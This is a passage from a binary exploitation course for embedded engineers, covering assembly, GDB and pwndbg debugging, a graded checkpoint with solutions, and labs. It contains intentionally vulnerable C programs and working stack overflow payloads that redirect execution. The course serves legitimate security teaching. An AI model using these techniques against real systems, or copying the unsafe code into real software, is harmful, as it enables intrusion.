\*\*Explanation:\*\* When you overflow `buffer\[16]` with 28 A's (0x41 in ASCII), the extra bytes overwrite the saved return address on the stack. `vulnerable\_function` then executes `ret`, which pops `0x4141414141414141` into RIP. The CPU tries to fetch the next instruction from address `0x4141414141414141`, which isn't valid/mapped memory β†’ segmentation fault. \*\*Key point:\*\* We CONTROLLED RIP. If we wrote a valid address (like the address of shellcode), the program would execute it. That's the exploit.



---



\### GitHub Deliverables for Week 3



1\. \*\*`notes/disassembly\_annotations.md`\*\* – Your annotated disassembly of `add\_numbers`

2\. \*\*`notes/asm\_cheatsheet.md`\*\* – Top 20 instructions you need to recognize

3\. \*\*`screenshots/overflow\_in\_assembly.png`\*\* – GDB showing stack corruption and RIP=0x4141...

4\. \*\*`notes/intel\_vs\_att.md`\*\* – Quick comparison of the two syntax styles

5\. \*\*`quiz/week3\_quiz\_answers.md`\*\* – Quiz answers



```bash

cd ~/exploitation-journey/week-03/

git add .

git commit -m "Week 3 complete: Assembly fundamentals for exploitation"

```



---



\### This Week's Three Most Important Points (Repetition)

1\. \*\*Reading assembly, not writing\*\* – disassemblers do the work

2\. \*\*Control flow instructions are targets\*\* – `call`, `ret`, `jmp`

3\. \*\*`ret` pops the return address into RIP\*\* – overwrite that address = control execution



---



\### Encouragement Check-In



\*\*Week 3 complete!\*\* Assembly is intimidating, but you did it. Most security engineers avoid learning assembly deeply – you just put in the work.



\*\*If assembly didn't "click" yet:\*\* That's fine. You'll gain fluency through exposure. By Week 15, you'll be reading ROP chains in assembly and it'll feel natural.



\*\*Embedded engineers' advantage:\*\* If you've worked with ARM assembly (Cortex-M?), x86-64 assembly probably felt familiar (just different mnemonics). If not, think of assembly like looking at the machine code your C compiler generates – because that's literally what it is.



\*\*What you accomplished:\*\* You can now LOOK AT A PROGRAM'S MEMORY and understand what's happening. When you see a CVE report with a PoC, you can disassemble the binary and follow along. That's a superpower.



\*\*Next week:\*\* GDB deep dive. We're going to make you a debugging ninja. The goal: be able to debug exploits when they fail (they always fail the first 50 times).



---



\## πŸ“… Week 4: Introduction to GDB and Debugging – Breakpoints, Memory Examination, Exploit Debugging



\### Weekly Objective

Master GDB (GNU Debugger) well enough to debug exploits, inspect memory during execution, and trace program flow – your #1 tool for exploitation.



\### What You'll Be Able to Do by Week's End

1\. Set breakpoints on functions and addresses

2\. Step through code (instruction-by-instruction and line-by-line)

3\. Examine memory in different formats (hex, ASCII, instructions)

4\. Modify memory and registers on-the-fly

5\. Use GDB scripting for repeated tasks

6\. Install and use pwndbg or GEF (GDB enhancement plugins)

7\. Debug a crashing program to find the point of failure



\### This Week's Three Most Important Points

1\. \*\*GDB lets you pause execution and inspect ANY memory\*\* – stack, heap, code, registers

2\. \*\*Breakpoints are your navigation tool\*\* – stop exactly where you want to investigate

3\. \*\*Exploit development = 90% debugging\*\* – your exploits will fail, GDB shows you why



---



\### Daily Bite-Sized Plan (7 Days, 45-90 min/day)



\*\*Day 1 (60 min):\*\* Read GDB basics tutorial. Search "GDB tutorial debugging C programs" – find a beginner guide. Focus on: starting GDB, setting breakpoints, running programs.



\*\*Day 2 (60 min):\*\* Watch LiveOverflow's GDB tutorial video (search "LiveOverflow GDB"). Practice in parallel – pause the video and try commands yourself.



\*\*Day 3 (90 min):\*\* Lab time: GDB Fundamentals (see below). Work through each command slowly.



\*\*Day 4 (60 min):\*\* Install pwndbg (GDB enhancement for exploit development). Follow the lab below. Observe how much cleaner the output is compared to vanilla GDB.



\*\*Day 5 (60 min):\*\* Learn memory examination commands: `x/` with different format specifiers. Practice examining the same memory in hex, ASCII, and as instructions.



\*\*Day 6 (90 min):\*\* Lab time: Debugging a Crash (see below). This simulates debugging a real exploit failure.



\*\*Day 7 (45 min):\*\* Quiz, review. Create a GDB command cheat sheet (you'll reference this weekly).



---



\### Hands-On Lab 1: GDB Fundamentals



\*\*Objective:\*\* Learn core GDB workflows by debugging a simple program.



```bash

\# Step 1: Create a program with a bug

cat > gdb\_practice.c 

\#include 



void process\_input(char \*data) {

    char buffer\[32];

    printf("Processing: %s\\n", data);

    strcpy(buffer, data);  // Potential overflow

    printf("Done processing.\\n");

}



int main(int argc, char \*argv\[]) {

    if (argc \\n", argv\[0]);

        return 1;

    }

    

    int counter = 0;

    for (int i = 0; i  crash\_debug.c 

\#include 

\#include 



void vulnerable(char \*input) {

    char buffer\[16];

    strcpy(buffer, input);  // Overflow here

}



int main(int argc, char \*argv\[]) {

    if (argc \\n", argv\[0]);

        return 1;

    }

    vulnerable(argv\[1]);

    printf("Success!\\n");

    return 0;

}

EOF



\# Step 2: Compile

gcc -o crash\_debug crash\_debug.c -g -O0 -fno-stack-protector -no-pie



\# Step 3: Crash it (without GDB first)

./crash\_debug AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

\# Segmentation fault



\# Step 4: Debug the crash

gdb ./crash\_debug

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

\# Program crashes



\# Step 5: Investigate

(gdb) info registers rip

\# RIP = 0x4141414141414141 (our A's)



(gdb) backtrace

\# Shows corrupted stack



(gdb) frame 0

(gdb) x/20gx $rsp

\# See A's all over the stack

```



\*\*Debugging workflow for exploits:\*\*

1\. \*\*Reproduce the crash in GDB\*\*

2\. \*\*Check RIP\*\* – Did we control it? (If RIP = 0x41414141, yes!)

3\. \*\*Find the offset\*\* – How many bytes until we overwrite the return address?



\*\*Find the offset using pwndbg's cyclic pattern:\*\*

```gdb

\# Generate a unique pattern

(gdb) cyclic


# 30-Week Binary Exploitation & CVE Analysis Program for Embedded Engineers (Continued)

---

```gdb
# Generate a unique pattern
(gdb) cyclic 100
# Outputs: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaam

# Run with this pattern
(gdb) run aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaam

# When it crashes, check RIP
(gdb) info registers rip
# RIP = 0x6161616161616166 (part of the pattern)

# Find the offset
(gdb) cyclic -l 0x6161616161616166
# Output: 24

# This means: the return address starts at offset 24
```

**What this tells you:** To overwrite the return address, you need 24 bytes of padding, then your target address. This is CRITICAL for exploit development.

**Deliverable:** Create `week-04/notes/crash_debugging_workflow.md`:
```markdown
# My Crash Debugging Workflow

## Step 1: Reproduce in GDB
- Set what breakpoints?
- What input causes the crash?

## Step 2: Inspect the Crash
- Commands I run: info registers, backtrace, x/20gx $rsp

## Step 3: Determine Control
- Do I control RIP?
- What value is in RIP?

## Step 4: Find Offset
- Use cyclic pattern
- Offset = [X] bytes

## Step 5: Craft Exploit
- [This is what we'll do in Week 7]
```

---

### Tools for the Week

| Tool | Purpose | Installation |
|------|---------|--------------|
| **GDB** | Core debugger | `sudo apt install gdb` |
| **pwndbg** | GDB enhancement for exploitation | `cd ~ && git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh` |
| **GEF** | Alternative GDB enhancement | `bash -c "$(curl -fsSL https://gef.blah.cat/sh)"` (if pwndbg fails) |
| **checksec** | Check binary security features | `sudo apt install checksec` (or use pwndbg's built-in) |

**Verify pwndbg installation:**
```bash
gdb
# Should see colorful pwndbg banner
(gdb) quit
```

---

### Sources for the Week

1. **(Beginner) "GDB Tutorial for Beginners"**
   - Search: "GDB tutorial Carnegie Mellon" or "GDB tutorial Stanford"
   - Work through examples interactively

2. **(Beginner Video) LiveOverflow: "GDB Introduction"**
   - YouTube search: "LiveOverflow GDB tutorial"
   - Watch the first 3 videos in his GDB series

3. **(Intermediate) "Debugging with GDB" Official Manual**
   - Search: "GDB manual online"
   - sourceware.org/gdb/documentation
   - Reference material – search when you need specific features

4. **(Beginner) pwndbg Documentation**
   - https://github.com/pwndbg/pwndbg
   - Read the "Features" and "Commands" sections
   - Bookmark for quick reference

5. **(Intermediate Article) "GDB for Exploit Development"**
   - Search: "fuzzy security GDB for exploit development"
   - Excellent article connecting GDB to exploitation workflow

---

### Weekly Quiz (5 Questions)

**Question 1:** What is the purpose of setting a breakpoint in GDB?

**A)** To permanently stop program execution  
**B)** To pause execution at a specific location so you can inspect state  
**C)** To fix bugs automatically  
**D)** To prevent buffer overflows  

**Answer: B**
**Explanation:** Breakpoints pause program execution at specified locations (functions, addresses, line numbers). When a breakpoint is hit, you can examine memory, registers, variables, and step through code. This is essential for exploitation: you set breakpoints before/after critical operations (like strcpy) to see memory changes. **From embedded background:** Like hitting a debugger breakpoint in your IDE when developing firmware – same concept.

---

**Question 2:** What does the GDB command `x/20wx $rsp` do?

**A)** Executes 20 instructions  
**B)** Examines 20 words (4 bytes each) in hexadecimal starting at the stack pointer  
**C)** Examines 20 bytes of executable code  
**D)** Sets 20 watchpoints  

**Answer: B**
**Explanation:** `x` = examine, `/20wx` = format specifier:
- `20` = count (20 units)
- `w` = word size (4 bytes / 32 bits)
- `x` = hexadecimal format
- `$rsp` = starting address (stack pointer)

Other useful formats:
- `x/20gx $rsp` β†’ giant (8 bytes) in hex (better for x86-64)
- `x/20bx $rsp` β†’ bytes in hex
- `x/20s $rsp` β†’ strings
- `x/10i $rip` β†’ instructions (i = instruction format)

**Memory aid:** "x/[count][size][format] [address]" – "eXamine count-size-format address"

---

**Question 3:** In the crash debugging lab, you found that RIP = 0x4141414141414141 after an overflow. What does this tell you?

**A)** The program has a bug but it's not exploitable  
**B)** You successfully controlled the instruction pointer (exploitable!)  
**C)** The operating system detected the attack  
**D)** The stack canary was triggered  

**Answer: B**
**Explanation:** 0x41 = ASCII 'A'. When RIP contains your input pattern (0x4141...), you've OVERWRITTEN the saved return address on the stack. The CPU tried to jump to 0x4141414141414141. This proves you control execution flow – the holy grail of exploitation. Next step: replace those A's with the address of your shellcode. **This is the breakthrough moment in exploit development.**

---

**Question 4:** Why is pwndbg (or GEF) preferred over vanilla GDB for exploit development?

**A)** It automatically writes exploits for you  
**B)** It provides automatic context display (registers, disassembly, stack) after each step  
**C)** It's faster than GDB  
**D)** It works on Windows  

**Answer: B**
**Explanation:** Vanilla GDB requires you to manually type commands to view registers (`info registers`), disassembly (`disassemble`), stack (`x/20gx $rsp`), etc. pwndbg/GEF show ALL of this AUTOMATICALLY in a split-screen layout after every step. This saves massive time during exploit development. Additional features like `cyclic`, `checksec`, `vmmap`, and `telescope` are specifically designed for exploitation workflows.

---

**Question 5:** What is the purpose of the `cyclic` command in pwndbg?

**A)** To create infinite loops for testing  
**B)** To generate unique patterns for finding exact overflow offsets  
**C)** To cycle through breakpoints  
**D)** To test different exploit payloads  

**Answer: B**
**Explanation:** `cyclic` generates a De Bruijn sequence – a unique non-repeating pattern. Example: "aaaaaaaabaaaaaaacaaaaaaaadaaa...". Every 4-byte (or 8-byte) substring is unique. When your overflow crashes and RIP = 0x6161616166616161, you use `cyclic -l 0x6161616166616161` to find: "this pattern appears at offset 24." Now you know exactly where the return address is in your input buffer. **This is how professionals find offsets quickly instead of guessing.**

---

### GitHub Deliverables for Week 4

1. **`notes/gdb_command_reference.md`** – Your personalized GDB cheat sheet
2. **`notes/crash_debugging_workflow.md`** – Your debugging process documentation
3. **`screenshots/pwndbg_context.png`** – Screenshot of pwndbg's split-screen view
4. **`notes/cyclic_pattern_demo.md`** – Document finding an offset with cyclic patterns
5. **`quiz/week4_quiz_answers.md`** – Quiz answers with explanations

```bash
cd ~/exploitation-journey/week-04/
git add .
git commit -m "Week 4 complete: GDB mastery for exploit debugging"
git push
```

---

### This Week's Three Most Important Points (Repetition)
1. **GDB pauses execution so you can inspect everything** – memory, registers, stack
2. **Breakpoints are your navigation tool** – stop before/after critical operations
3. **Exploit development = debugging** – pwndbg makes this 10x easier

---

### Encouragement Check-In

**Week 4 done!** You now have your most important exploitation tool: GDB mastery.

**Reality check:** Professional exploit developers spend 70% of their time in GDB. You just learned what many "CTF players" took months to pick up. Your embedded debugging experience transferred perfectly – GDB is just JTAG debugging for software.

**What you can do now:** When you read a CVE report with a PoC, you can load the vulnerable binary in GDB, run the PoC, and SEE exactly what happens at the instruction level. That's investigative superpowers.

**Struggling with GDB commands?** Normal. You'll memorize them through repetition. Print your cheat sheet and keep it next to your keyboard. By Week 10, you won't need it.

**Next week:** CHECKPOINT. You'll get a practical challenge that combines Weeks 1-4. This tests if you're ready for actual exploitation (Weeks 6+). If you score  mystery_crash.c 
#include 
#include 

// Simulates reading a configuration file
void read_config(char *filename) {
    char buffer[64];
    FILE *fp = fopen(filename, "r");
    
    if (!fp) {
        printf("Config file not found, using defaults.\n");
        return;
    }
    
    printf("Reading configuration from %s...\n", filename);
    
    // Read first line
    if (fgets(buffer, sizeof(buffer), fp)) {
        printf("Config loaded: %s", buffer);
    }
    
    fclose(fp);
}

// Simulates processing a network command
void process_command(char *cmd) {
    char local_buffer[32];
    char command_type[16];
    
    // Parse command type
    sscanf(cmd, "%s", command_type);
    
    printf("Processing command: %s\n", command_type);
    
    // Copy full command for processing
    strcpy(local_buffer, cmd);  // VULNERABILITY 1
    
    printf("Command queued for execution.\n");
}

// Simulates username storage
void set_username(char *name) {
    char username[24];
    printf("Setting username to: %s\n", name);
    sprintf(username, "User: %s", name);  // VULNERABILITY 2
    printf("Username configured: %s\n", username);
}

int main(int argc, char *argv[]) {
    printf("=== Smart Home Device Simulator ===\n");
    
    if (argc  \n", argv[0]);
        printf("Commands:\n");
        printf("  config   - Load configuration\n");
        printf("  cmd       - Process command\n");
        printf("  user     - Set username\n");
        return 1;
    }
    
    char *command = argv[1];
    char *argument = argv[2];
    
    if (strcmp(command, "config") == 0) {
        read_config(argument);
    } else if (strcmp(command, "cmd") == 0) {
        process_command(argument);
    } else if (strcmp(command, "user") == 0) {
        set_username(argument);
    } else {
        printf("Unknown command: %s\n", command);
    }
    
    printf("Exiting cleanly.\n");
    return 0;
}
EOF

# Compile with minimal protections (typical for embedded devices)
gcc -o mystery_crash mystery_crash.c -fno-stack-protector -no-pie -O0 -g

echo "[*] Binary created: mystery_crash"
echo "[*] Start your investigation..."
```

---

### Your Tasks (100 Points Total)

**TASK 1: Reconnaissance (20 points)**

Analyze the binary without running it:
1. Use `file` to identify the binary type
2. Use `checksec` to identify security protections
3. Use `strings` to find interesting strings
4. Use `objdump -d` or Ghidra to locate the vulnerable functions

**Deliverables:**
- `task1_recon.md` documenting your findings
- Screenshot of checksec output

**Scoring Rubric:**
- Correctly identified binary type (5 pts)
- Documented missing security protections (5 pts)
- Found interesting strings (5 pts)
- Located 3 functions in disassembly (5 pts)

---

**TASK 2: Dynamic Analysis – Find the Crashes (30 points)**

Test the program to find inputs that cause crashes:
1. Test the "config" command with normal and long inputs
2. Test the "cmd" command with normal and long inputs
3. Test the "user" command with normal and long inputs

**Deliverables:**
- `task2_crashes.md` documenting:
  - Which commands crash with what inputs?
  - What error messages appear?
  - Are there multiple ways to crash it?

**Scoring Rubric:**
- Found at least 1 crash (10 pts)
- Found all 2 exploitable crashes (20 pts)
- Documented inputs precisely (10 pts)

---

**TASK 3: GDB Investigation (30 points)**

Debug one of the crashes in GDB:
1. Reproduce the crash in GDB
2. Identify what value is in RIP/RIP when it crashes
3. Use `backtrace` to see the call stack
4. Examine the stack with `x/40gx $rsp`
5. Use `cyclic` (pwndbg) or manual calculation to find the offset

**Deliverables:**
- `task3_gdb_analysis.md` with:
  - GDB commands you used
  - Value in RIP at crash
  - Offset to return address (exact number)
  - Screenshots of GDB session

**Scoring Rubric:**
- Reproduced crash in GDB (5 pts)
- Identified RIP corruption (10 pts)
- Found exact offset (10 pts)
- Clear documentation with screenshots (5 pts)

---

**TASK 4: Vulnerability Analysis (20 points)**

Explain the vulnerability in your own words:
1. What C function causes the vulnerability?
2. Why is it vulnerable? (What security property is violated?)
3. What type of vulnerability is this? (stack overflow, heap overflow, format string, etc.)
4. Could this lead to arbitrary code execution? Why or why not?

**Deliverables:**
- `task4_vuln_report.md` written in plain English (as if explaining to a non-technical manager)

**Scoring Rubric:**
- Correctly identified vulnerable function (5 pts)
- Explained why it's vulnerable (5 pts)
- Correctly classified vulnerability type (5 pts)
- Assessed exploitability correctly (5 pts)

---

**TASK 5: Reflection and Next Steps (Bonus: 10 points)**

Write a brief reflection:
1. What was most challenging about this analysis?
2. What concepts from Weeks 1-4 did you use?
3. What do you want to learn next?
4. Are you ready for exploitation (Weeks 6+), or do you need to review?

**Deliverables:**
- `task5_reflection.md` (1-2 paragraphs)

**Scoring:** +10 bonus points for thoughtful reflection

---

### Solutions (DO NOT LOOK UNTIL YOU'VE ATTEMPTED FOR 6 HOURS)

**After your attempt**, compare with the solution:


Click to reveal solutions (only after your attempt!)

**TASK 1 Solution:**
```bash
file mystery_crash
# ELF 64-bit LSB executable, x86-64

checksec mystery_crash
# No canary, NX enabled, No PIE, No RELRO

strings mystery_crash | grep -i "command\|user\|config"
# Shows string literals from the program

objdump -d mystery_crash | grep ':' | head -20
# Shows function symbols: read_config, process_command, set_username
```

**TASK 2 Solution:**
```bash
# These cause crashes:
./mystery_crash cmd AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Crashes due to strcpy overflow in process_command

./mystery_crash user BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
# Crashes due to sprintf overflow in set_username

# The config command is safe (uses fgets with size limit)
```

**TASK 3 Solution:**
```bash
gdb ./mystery_crash
(gdb) run cmd $(python3 -c 'print("A"*100)')
# Crashes with RIP = 0x4141414141414141

(gdb) cyclic 100
(gdb) run cmd aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaa...
# RIP = 0x6161616161616166
(gdb) cyclic -l 0x6161616161616166
# Offset: 40

# This means: 40 bytes of padding, then 8 bytes control RIP
```

**TASK 4 Solution:**
- **Vulnerable function:** `strcpy()` in `process_command()`
- **Why:** `strcpy()` doesn't check bounds; copies until null byte
- **Type:** Stack-based buffer overflow
- **Exploitable:** YES – we control RIP, can redirect to shellcode
- **CWE:** CWE-120 (Buffer Copy without Checking Size of Input)



---

### Scoring and Pass/Fail

**Calculate your score:**
- Task 1: ___/20
- Task 2: ___/30
- Task 3: ___/30
- Task 4: ___/20
- Bonus: ___/10
- **Total: ___/100**

**Pass threshold: 70/100**

**If you scored 70+:** Congratulations! You're ready for Weeks 6+ (exploitation development). Your foundations are solid.

**If you scored 50-69:** You're close! Review the topics you struggled with:
- Low Task 1 score? Review Week 1 (memory layout) and Week 3 (assembly)
- Low Task 2/3 score? Review Week 4 (GDB)
- Low Task 4 score? Review Week 1-2 (vulnerability theory)

Spend an extra week reviewing, then retake the checkpoint.

**If you scored  vuln1.c 
#include 

void secret_function() {
    printf("\nπŸŽ‰ SUCCESS! You redirected execution to secret_function()!\n");
    printf("This demonstrates you control the instruction pointer.\n");
}

void vulnerable(char *input) {
    char buffer[64];
    printf("Buffer is at: %p\n", buffer);
    printf("Copying input...\n");
    strcpy(buffer, input);  // VULNERABLE
}

int main(int argc, char *argv[]) {
    if (argc \n", argv[0]);
        return 1;
    }
    
    printf("=== Controlled Buffer Overflow Lab ===\n");
    printf("secret_function() is at: %p\n", secret_function);
    
    vulnerable(argv[1]);
    
    printf("Returned cleanly to main.\n");
    return 0;
}
EOF

# Step 2: Compile with NO protections
gcc -o vuln1 vuln1.c -fno-stack-protector -z execstack -no-pie -O0 -g

# Step 3: Test normal operation
./vuln1 "Hello"
# Prints addresses and "Returned cleanly"

# Step 4: Cause a crash
./vuln1 $(python3 -c 'print("A"*100)')
# Segmentation fault

# Step 5: Debug in GDB to find offset
gdb ./vuln1
(gdb) run $(python3 -c 'print("A"*100)')
# Crashes with RIP = 0x4141414141414141

(gdb) cyclic 200
(gdb) run [paste the cyclic pattern]
# Get the RIP value when it crashes

(gdb) cyclic -l [RIP_value]
# Let's say it outputs: 72
# This means offset is 72 bytes
```

**Step 6: Craft the exploit**

Now we know:
- Offset to return address: 72 bytes
- Address of `secret_function()`: (printed by program, e.g., 0x401196)

**Exploit structure:**
```
[72 bytes of padding] + [address of secret_function (8 bytes, little-endian)]
```

```bash
# Get the address of secret_function
./vuln1 test | grep secret_function
# Output: secret_function() is at: 0x401196

# Convert address to little-endian bytes (x86-64 is little-endian)
# 0x401196 β†’ \x96\x11\x40\x00\x00\x00\x00\x00

# Craft the payload
python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\x96\x11\x40\x00\x00\x00\x00\x00')" > payload

# Run the exploit
./vuln1 $(cat payload)
```

**Expected output:**
```
=== Controlled Buffer Overflow Lab ===
secret_function() is at: 0x401196
Buffer is at: 0x7fffffffe0a0
Copying input...

πŸŽ‰ SUCCESS! You redirected execution to secret_function()!
This demonstrates you control the instruction pointer.
Segmentation fault (core dumped)
```

**Why the segfault after success?**
`secret_function()` returns, but the stack is corrupted – there's no valid return address after it. That's fine for now. In Week 7, we'll chain this with shellcode.

**What you just did:**
1. **Found the offset** (72 bytes) using cyclic patterns
2. **Overwrote the return address** with the address of `secret_function()`
3. **Redirected execution** to a function that wasn't supposed to be called

**This is arbitrary code execution** – you decided where the CPU jumps. Next week, you'll make it jump to YOUR code (shellcode).

**Deliverable:** 
- Create `lab1_writeup.md` documenting each step
- Include screenshots of the success message
- Explain: "Why did execution go to secret_function()?"

---

### Hands-On Lab 2: Calculating Offsets Manually (Without Cyclic)

**Objective:** Understand offset calculation from first principles (in case pwndbg isn't available, e.g., on embedded devices).

```bash
cd ~/exploitation-journey/week-06/
mkdir lab2-manual-offsets
cd lab2-manual-offsets

cat > vuln2.c 
#include 

void target() {
    printf("TARGET REACHED!\n");
}

void overflow_me(char *input) {
    char buffer[32];  // 32-byte buffer
    strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
    if (argc 

# Payload: 40 bytes padding + address of target
python3 -c "import sys; sys.stdout.buffer.write(b'A'*40 + b'\x46\x11\x40\x00\x00\x00\x00\x00')" > payload2

./vuln2 $(cat payload2)
# TARGET REACHED!
```

**Key lesson:** You can calculate offsets WITHOUT cyclic patterns by:
1. Reading the disassembly (`sub rsp, X`)
2. Understanding stack frame layout (buffer + saved RBP + saved RIP)
3. Verifying in GDB (`print &buffer` vs saved rip address)

**On embedded devices** (where you can't use pwndbg), this manual method is essential.

**Deliverable:**
- `lab2_manual_calculation.md` showing your work
- Draw a stack diagram showing buffer, saved RBP, saved RIP, and where your offset points

---

### Understanding Modern Protections (Theory Section)

**Why aren't all programs instantly hackable?**

Modern operating systems and compilers implement **exploit mitigations**:

#### 1. **Stack Canaries (Stack Cookies)**
```
[buffer] [CANARY] [saved RBP] [saved RIP]
         ↑
         Random value placed between buffer and return address
```
- Before function returns, check if canary is still intact
- If corrupted β†’ abort program (crash instead of exploit)
- **Bypass:** Leak the canary value first, then include it in your payload (Week 18)

#### 2. **NX (No-eXecute) / DEP (Data Execution Prevention)**
- Marks stack and heap as non-executable
- Even if you inject shellcode into buffer, CPU refuses to execute it
- **Bypass:** ROP (Return-Oriented Programming) – Week 13-14

#### 3. **ASLR (Address Space Layout Randomization)**
- Randomizes addresses of stack, heap, libraries on each execution
- You can't hardcode addresses (they change every run)
- **Bypass:** Information leak (read memory to find addresses) – Week 17

#### 4. **PIE (Position Independent Executable)**
- Randomizes the base address of the executable itself
- Even function addresses change between runs
- **Bypass:** Same as ASLR (leak addresses)

**Check protections with checksec:**
```bash
checksec ./vuln1
# Output:
# Canary: No
# NX: No (execstack)
# PIE: No
# RELRO: No

# Our labs disable these to learn fundamentals first
```

**Why do embedded devices often lack these?**
- **Performance:** Canaries add overhead
- **Memory constraints:** ASLR requires virtual memory (many embedded systems don't have it)
- **Legacy code:** Firmware often uses old compilers

**This is why embedded exploitation is still viable in 2025!**

---

### Tools for the Week

| Tool | Purpose | Command |
|------|---------|---------|
| **python3** | Craft binary payloads | `python3 -c "import sys; sys.stdout.buffer.write(b'...')"` |
| **xxd** | View hex dump of payload | `xxd payload` |
| **checksec** | Check binary protections | `checksec ./binary` |
| **pwntools** | Exploitation framework (install next week) | `pip3 install pwntools` |

---

### Sources for the Week

1. **(Beginner) "Smashing the Stack for Fun and Profit" – Aleph One**
   - Re-read Part 2 with your new knowledge
   - Now you'll understand the assembly sections

2. **(Beginner Video) LiveOverflow: "Writing My First Exploit (Buffer Overflow)"**
   - YouTube search: "LiveOverflow bin 0x0C"
   - Follow along with your own labs

3. **(Intermediate) "Buffer Overflow Attack" – OWASP**
   - Search: "OWASP buffer overflow"
   - Comprehensive explanation with examples

4. **(Reference) "Dangerous C Functions" – CERT Secure Coding**
   - Search: "CERT C dangerous functions"
   - Lists vulnerable functions and safe alternatives

5. **(Intermediate Article) "Modern Binary Exploitation Mitigations"**
   - Search: "exploit mitigations NX ASLR DEP"
   - Understand what you'll face in real-world targets

---

### Weekly Quiz (5 Questions)

**Question 1:** What is the minimum information you need to successfully redirect execution via a buffer overflow?

**A)** The source code of the program  
**B)** The offset to the return address and the target address you want to jump to  
**C)** Root access on the target system  
**D)** The program's encryption keys  

**Answer: B**
**Explanation:** You need two pieces of information: (1) **Offset** – how many bytes until you overwrite the return address, and (2) **Target address** – where you want execution to go (shellcode address, existing function, ROP gadget). Everything else is optional (though helpful). In the labs, you found the offset (40-72 bytes) and the target (secret_function address).

---

**Question 2:** Why is `strcpy()` considered dangerous?

**A)** It's slow  
**B)** It doesn't check if the destination buffer is large enough before copying  
**C)** It only works with ASCII strings  
**D)** It's deprecated in C11  

**Answer: B**
**Explanation:** `strcpy(dest, src)` copies from `src` to `dest` until it hits a null byte – it NEVER checks if `dest` has enough space. If `src` is 100 bytes and `dest` is only 32 bytes, the extra 68 bytes overflow into adjacent memory. **Safe alternative:** `strncpy(dest, src, sizeof(dest))` limits the copy. **From embedded background:** This is like writing past the end of a UART buffer – corrupts whatever's adjacent.

---

**Question 3:** In a typical x86-64 stack frame, where is the saved return address relative to a local buffer?

**A)** Before the buffer (lower addresses)  
**B)** After the buffer, separated by saved RBP (higher addresses)  
**C)** In the heap  
**D)** In a CPU register  

**Answer: B**
**Explanation:** Stack layout (remember, stack grows downward):
```
[Lower addresses]
buffer[0..N]       ← Your overflow starts here
Saved RBP          ← 8 bytes
Saved RIP (return) ← TARGET (8 bytes)
[Higher addresses]
```
To reach the return address from the buffer, you must overflow through: buffer contents + saved RBP. This is why offsets are usually `buffer_size + 8`.

---

**Question 4:** In Lab 1, you overwrote the return address with the address of `secret_function()`. What happened when `secret_function()` tried to return?

**A)** The program exited cleanly  
**B)** The program crashed because the stack was corrupted  
**C)** It returned to main()  
**D)** The operating system prevented it  

**Answer: B**
**Explanation:** `secret_function()` executed successfully (printed the success message), then executed `ret`. But what's the return address for `secret_function()`? The stack is full of your 'A's – there's no valid return address. The CPU tries to jump to 0x4141414141414141 β†’ crash. **In Week 7**, you'll fix this by making your shellcode call `exit()` cleanly. **Advanced technique (Week 14):** ROP chains handle this precisely.

---

**Question 5:** If a program is compiled with stack canaries enabled, what happens when you overflow a buffer?

**A)** The overflow is prevented automatically  
**B)** The program detects the corrupted canary and aborts before returning  
**C)** Nothing, the overflow works normally  
**D)** The operating system logs the attack  

**Answer: B**
**Explanation:** Stack canary layout:
```
buffer β†’ [CANARY (random value)] β†’ saved RBP β†’ saved RIP
```
Before the function returns, it checks: "Is the canary still the same value?" If you overflowed the buffer, you overwrote the canary. The program detects this and calls `__stack_chk_fail()` (abort). **Bypass (Week 18):** If you can LEAK the canary value (via an info leak bug), you include the correct canary in your payload – the check passes.

---

### GitHub Deliverables for Week 6

1. **`lab1-controlled-overflow/`**
   - `vuln1.c` (source)
   - `payload` (exploit file)
   - `lab1_writeup.md` (detailed explanation)
   - Screenshots of success

2. **`lab2-manual-offsets/`**
   - `vuln2.c`
   - `lab2_manual_calculation.md` with stack diagrams
   - Your hand-drawn stack layout (photo or diagram)

3. **`notes/buffer_overflow_cheatsheet.md`**
   - Vulnerable functions to avoid
   - Stack layout diagram
   - Exploit development workflow

4. **`quiz/week6_quiz_answers.md`**

```bash
cd ~/exploitation-journey/week-06/
git add .
git commit -m "Week 6 complete: First controlled buffer overflow exploit"
git push
```

---

### This Week's Three Most Important Points (Repetition)
1. **Buffer overflows corrupt adjacent stack memory** – including return addresses
2. **Exploitation requires precision** – exact offset calculation is critical
3. **Overwriting the return address lets you control execution flow** – the foundation of exploitation

---

### Encouragement Check-In

**Week 6 DONE!** You just wrote your FIRST EXPLOIT. Let that sink in.

**That success message ("πŸŽ‰ SUCCESS!") wasn't magic** – YOU made the CPU jump where you wanted. You redirected execution. That's what APT groups do, what CVE researchers do, what bug bounty hunters do.

**Embedded engineers' realization:** Remember stack corruption bugs in your firmware that caused weird crashes? Now you know how to WEAPONIZE those. This is the "security mindset" shift.

**Common struggle:** "It took me 3 hours to get the offset right." Yes. That's normal. Professional exploit developers spend DAYS getting offsets right for complex targets. You did it in hours. That's impressive.

**Reality check:** These labs had ALL protections disabled. Real targets have canaries, NX, ASLR, PIE. Don't worry – we'll learn to bypass them (Weeks 13-18). For now, celebrate: **you understand the fundamental primitive of binary exploitation.**

**Next week:** Shellcode. You'll write assembly code that spawns a shell, then execute it via buffer overflow. Get ready – Week 7 is the most satisfying week of the entire program.

---

## πŸ“… Week 7: Writing Your First Exploit – Complete Stack Overflow with Shellcode

### Weekly Objective
Combine everything from Weeks 1-6 to write a complete exploit: overflow a buffer, inject shellcode, and spawn a shell.

### What You'll Be Able to Do by Week's End
1. Write simple x86-64 shellcode (or use pre-made shellcode intelligently)
2. Encode shellcode to avoid bad characters (null bytes, newlines)
3. Craft a complete exploit payload: NOP sled + shellcode + return address
4. Successfully spawn a shell via buffer overflow on a local vulnerable program
5. Debug failed exploits (90% of the work is debugging why it didn't work)
